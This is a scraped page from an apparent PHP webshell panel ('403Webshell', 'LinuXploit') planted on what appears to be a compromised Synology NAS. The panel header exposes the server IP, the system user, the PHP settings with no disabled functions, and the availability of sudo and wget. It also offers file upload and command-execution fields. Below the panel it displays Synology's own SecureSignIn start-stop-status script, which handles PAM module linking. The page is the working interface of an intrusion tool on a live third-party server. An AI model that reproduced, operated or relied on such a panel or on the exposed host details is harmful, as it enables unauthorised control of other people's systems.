403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/packages/SecureSignIn/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/packages/SecureSignIn/scripts/start-stop-status
#!/bin/sh
# Copyright (c) 2000-2020 Synology Inc. All rights reserved.

PKG_PATH="/var/packages/SecureSignIn"
PKG_ETC_PATH="${PKG_PATH}/etc"
PKG_TARGET_PATH="${PKG_PATH}/target"

start()
{
	ln -sf "${PKG_TARGET_PATH}/pam-module/pam_syno_authenticator.so" "/usr/lib/security/"
	ln -sf "${PKG_TARGET_PATH}/pam-module/pam_syno_fido.so" "/usr/lib/security/"
	ln -sf "${PKG_TARGET_PATH}/etc/secure_signin.auth" "/usr/syno/synoman/webapi/"
	ln -sf "${PKG_TARGET_PATH}/etc/secure_signin.pam" "/etc/pam.d/secure_signin"
	ln -sf "${PKG_TARGET_PATH}/etc/amfa.pam" "/etc/pam.d/amfa"
	ln -sf "${PKG_TARGET_PATH}/etc/emergency_code.pam" "/etc/pam.d/emergency_code"
	ln -sf "${PKG_TARGET_PATH}/tool/synoabnormalloginnotify" "/usr/syno/bin/synoabnormalloginnotify"

	cp -a "${PKG_TARGET_PATH}/etc/notification_filter.settings" "${PKG_ETC_PATH}/notification_filter.settings"
	if [ ! -f ${PKG_ETC_PATH}/secure_signin.conf ]; then
		cp -a "${PKG_TARGET_PATH}/etc/secure_signin.conf" "${PKG_ETC_PATH}/secure_signin.conf"
	fi

	systemctl start pkg-invoked

	tmp_space=$(df -BM /tmp | awk 'NR==2 {print $4}' | sed 's/M//')
	threshold=100

	rm -f /tmp/SynologyAuthService-block
	rm -rf /tmp/SynologyAuthService/
	mkdir -p /tmp/SynologyAuthService/
	if [ "$tmp_space" -gt "$threshold" ]; then
		dd if=/dev/zero of=/tmp/SynologyAuthService-block bs=1M count=32
		mkfs -t ext4 /tmp/SynologyAuthService-block
		mount -t ext4 /tmp/SynologyAuthService-block /tmp/SynologyAuthService/
	fi
	chmod 0777 /tmp/SynologyAuthService/
}

stop()
{
	rm -f "/usr/lib/security/pam_syno_authenticator.so"
	rm -f "/usr/lib/security/pam_syno_fido.so"
	rm -f "/usr/syno/synoman/webapi/secure_signin"
	rm -f "/etc/pam.d/secure_signin"
	rm -f "/etc/pam.d/amfa"
	rm -f "/etc/pam.d/emergency_code"
	rm -f "/usr/syno/bin/synoabnormalloginnotify"

	systemctl stop pkg-invoked

	umount -q /tmp/SynologyAuthService/
	rm -rf /tmp/SynologyAuthService/
	rm -f /tmp/SynologyAuthService-block
}

case $1 in
	start)
		start
		exit 0
	;;
	stop)
		stop
		exit 0
	;;
	status)
		if [ -e ${APP_PATH} ]; then
			exit 0
		else
			exit 1
		fi
	;;
esac


Youez - 2016 - github.com/yon3zu
LinuXploit